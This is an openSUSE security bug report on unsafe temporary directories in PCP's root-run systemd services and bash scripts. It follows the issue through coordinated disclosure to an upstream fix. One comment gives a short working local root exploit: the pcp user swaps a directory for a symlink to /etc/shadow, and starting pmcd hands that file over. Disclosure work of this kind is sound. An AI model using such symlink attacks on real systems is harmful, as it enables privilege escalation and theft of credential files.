Bug 1217783 - VUL-0: pcp: pmie_farm_check.service and pmlogger_farm_check.service use unsafe tmp directories
Summary: VUL-0: pcp: pmie_farm_check.service and pmlogger_farm_check.service use unsaf...
Status: IN_PROGRESS
Alias: None
Product: openSUSE Tumbleweed
Classification: openSUSE
Component: Security (show other bugs)
Version: Current
Hardware: Other Other
: P3 - Medium : Normal (vote)
Target Milestone: ---
Assignee: Martin Schreiner
QA Contact: E-mail List
URL: [none]
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2023-12-04 15:49 UTC by Matthias Gerstner
Modified: 2024-07-12 13:53 UTC (History)
4 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Matthias Gerstner 2023-12-04 15:49:31 UTC
During our weekly systemd service change review for openSUSE:Factory the
following pcp entries popped up:

> 4 new services detected
> =======================
>
> RPM: pcp-5.3.7-1.1.x86_64.rpm on x86_64
> Package: pcp
> Service path: /usr/lib/systemd/system/pmie_farm.service
> Runs as: pcp:pcp
> Exec lines:
>     ExecStart=/usr/libexec/pcp/bin/pmie_farm $PMIE_CHECK_PARAMS
>
> RPM: pcp-5.3.7-1.1.x86_64.rpm on x86_64
> Package: pcp
> Service path: /usr/lib/systemd/system/pmie_farm_check.service
> Runs as: root:root
> Exec lines:
>     ExecStart=/usr/bin/pmiectl -m check
>
> RPM: pcp-5.3.7-1.1.x86_64.rpm on x86_64
> Package: pcp
> Service path: /usr/lib/systemd/system/pmlogger_farm.service
> Runs as: pcp:pcp
> Exec lines:
>     ExecStart=/usr/libexec/pcp/bin/pmlogger_farm $PMLOGGER_CHECK_PARAMS
>
> RPM: pcp-5.3.7-1.1.x86_64.rpm on x86_64
> Package: pcp
> Service path: /usr/lib/systemd/system/pmlogger_farm_check.service
> Runs as: root:root
> Exec lines:
>     ExecStart=/usr/bin/pmlogctl -m check

What sticks out is that two services run as root, while two run as pcp:pcp. In
the service file for pmie_farm_check.service it is stated that running it as
root is intended.

A first look into the code shows the following:

These are all bash scripts that are hard to get into - as usual for large bash
projects.

PCP_TMPFILE_DIR is

    drwxrwxr-x 8 pcp pcp 4.0K Dez  4 15:40 /var/lib/pcp/tmp

The pmiectl script uses `mkdtemp -d` to create a safe sub-directory in there.
/var/lib/pcp is controlled by root only.

The safely created tmp dir can be removed by pcp:pcp and then replaced
by a pcp controlled directory full with all local attack vectors that are
involved in such cases. Symlink protection won't trigger, because there is no
sticky bit.

Possible attack vectors:

- DoS via $tmp/usage and many other files places there.
- Integrity violation by changing one of many files that are stored in
  $tmp/ for scratch results
- Not unlinkely a full root exploit by:
  - overwriting system files with partly or fully attacker controlled
    data
  - tricking the script into executing attacker controlled data stored
    in $tmp/

So this more or less completely breaks the isolation between pcp:pcp and root.

We found issues in this package a couple of years ago in bug 1171883 already.

The `pmlogctl` luckily is the same as `pmiectl`, they're symlinked.

This needs closer investigation and involving upstream.
Comment 2 Matthias Gerstner 2023-12-07 15:56:49 UTC
I'll look into this more closely.

I already checked Fedora and Debian and both package /var/lib/pcp as root:root
and /var/lib/pcp/tmp as pcp:pcp as well. So we're not deviating here.

The systemd tmpfiles configuration file lists 809 paths to be created. This is
certainly over the top and not a healthy state anymore.

I will now a bit closer into the bash scripts and the exploitability of the
issue.
Comment 3 Matthias Gerstner 2023-12-07 16:15:26 UTC
Okay the full local root exploit from `pcp` to `root is already here.

I looked in `pmcd.service` which also runs as root and executes the bash
script /usr/libexec/pcp/lib/pmcd. This has as part of its start routine in
`_reboot_setup()`:

```
    if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
    then
        mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
        chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
        if which restorecon >/dev/null 2>&1
        then
            restorecon -r "$PCP_TMP_DIR"
        fi
    else
```

Remember, PCP_TMP_DIR = "/var/lib/pcp/tmp", owned by pcp:pcp

Since the code does not exit on errors we don't even need to bother to win a
race condition. The following exploit works:

```
root # sudo -u pcp -g pcp bash
pcp $ cd /var/lib/pcp/tmp
pcp $ rm -r pmlogger
pcp $ ln -s /etc/shadow pmlogger
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow
```

The issue with this pcp user are pretty vast and upstream needs to work over
this. I will contact them.
Comment 4 Matthias Gerstner 2023-12-08 10:06:33 UTC
adding IBS maintainer also to this bug
Comment 6 Matthias Gerstner 2023-12-08 11:48:51 UTC
Internal CRD: 2024-03-07
Comment 8 Matthias Gerstner 2023-12-12 11:33:56 UTC
Upstream has already released version 6.1.1 while we are still with version
5.3.7 in Factory. This vulnerability is still found in the current upstream
sources, though.
Comment 9 Matthias Gerstner 2023-12-13 09:51:59 UTC
I just sent a detailed email about this issue and bug 1217826 to the upstream
maintainers, offering coordinated disclosure. I will post any further
developments here.
Comment 10 Matthias Gerstner 2023-12-15 14:55:05 UTC
Please refer to bug 1217826 comment 10 for an update about the disclosure
process for these two findings.
Comment 11 Matthias Gerstner 2024-02-27 10:43:29 UTC
Making the bug public, upstream already published the fixes in https://github.com/performancecopilot/pcp/pull/1873, embargo has been over since 2024-02-15.